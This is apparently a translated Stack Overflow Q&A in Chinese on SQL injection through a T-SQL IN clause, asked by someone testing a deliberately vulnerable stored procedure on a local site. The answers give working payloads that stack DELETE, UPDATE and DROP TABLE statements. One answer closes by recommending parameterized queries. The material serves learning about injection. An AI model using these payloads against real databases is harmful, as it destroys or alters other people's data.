SQL注入 - T-SQL IN中的有效子查询

时间:2014-06-20 11:42:34

标签: sql-server sql-injection

我正在尝试学习一些SQL注入,并想询问是否可以在SQL IN运算符中执行除select之外的任何其他查询。

普通IN运算符语法是这个

select * from tableX where ID IN (select userId from tableY where colX='Y')

我想通过querystring传入一个sql stmt来删除表中的所有用户。

如果在IN运算符中执行此注入的sql,是否可以执行此操作。

这就是我想要实现的目标

select * from tableX where ID IN (delete tableY) 

select * from tableX where ID IN (update tableX set ID=100 where 1=1)

select * from tableX where ID IN  (exec(N'delete tableY'))

我不断收到奇怪的语法错误。可能这不是按照sql规范。但是如果有人知道可能有助于我实现目标的有效子查询,请发布。

编辑:应该也添加了这个。

该系统已有多种防御措施。

  1. 此值作为参数化值传递给SP。
  2. 但总的来说有一个弱点

    1. 我试图利用的唯一弱点是使用传入的值在SP中构造sql字符串。

      设置@where = @where +' ID IN(' + @htmlEncodedParametrizedParam +')

    2. 所以我必须打破这段代码只发送一个纯的sql字符串(no;或),它可以在IN运算符中使用。

      Edit2:编码以验证@ Dan的答案。没有用。

      Create procedure HackTest 
        @qsVal nvarchar(200) = ''
      As
      Begin 
          declare @sql as nvarchar(1000)
          set @sql = 'select * from AdventureWorks2008.Person.Person' + 'where PersontType IN (' + @qsVal + ')'
          exec sp_executesql @sql
      end
      

      以下是请求以及MS Sql服务器探查器为这些请求捕获的内容

      --http://localhost:11727/SampleSite/Default.aspx?a=NULL);delete%20tableY;--
      exec hackTest @qsVal='NULL);delete tableY;--'
      
      --http://localhost:11727/SampleSite/Default.aspx?a=NULL);update%20tableX%20set%20ID=100;--
      exec hackTest @qsVal='NULL);update tableX set ID=100;--'
      

3 个答案:

答案 0 :(得分:1)

不,IN operator只允许subquery或表达式列表:

test_expression [ NOT ] IN 
    ( subquery | expression [ ,...n ]
    ) 

因此,您不能在那里使用DELETEUPDATE语句,而只能使用SELECT语句。

但是,由于SQL Server支持batches,您只需在SELECT语句后添加自己的语句:

SELECT … ; DELETE …

答案 1 :(得分:0)

您可以模拟多个查询,例如,这是您的查询,参数将在以后由您的程序替换:

SELECT * FROM tableX WHERE ID IN (<somestring>)

如果您要替换此文本:

1); DROP TABLE tableY;--

您将获得如下可执行查询:

SELECT * FROM tableX WHERE ID IN (1); DROP TABLE tableY;--)

答案 2 :(得分:0)

如果应用程序使用字符串连接构造SQL语句,如:

selectQuery = "select * from tableX where ID IN (" + queryString + ")";

可以通过添加&#34; NULL)来利用此特定SQL注入漏洞;&#34;然后是要注入的SQL语句,然后是注释标记。示例查询字符串值:

NULL);delete tableY;--
NULL);update tableX set ID=100;--

当然,不应该通过查询字符串传递SQL语句。防止SQL注入的最佳方法是使用参数化查询,而不是使用来自不可信源的字符串连接构建语句。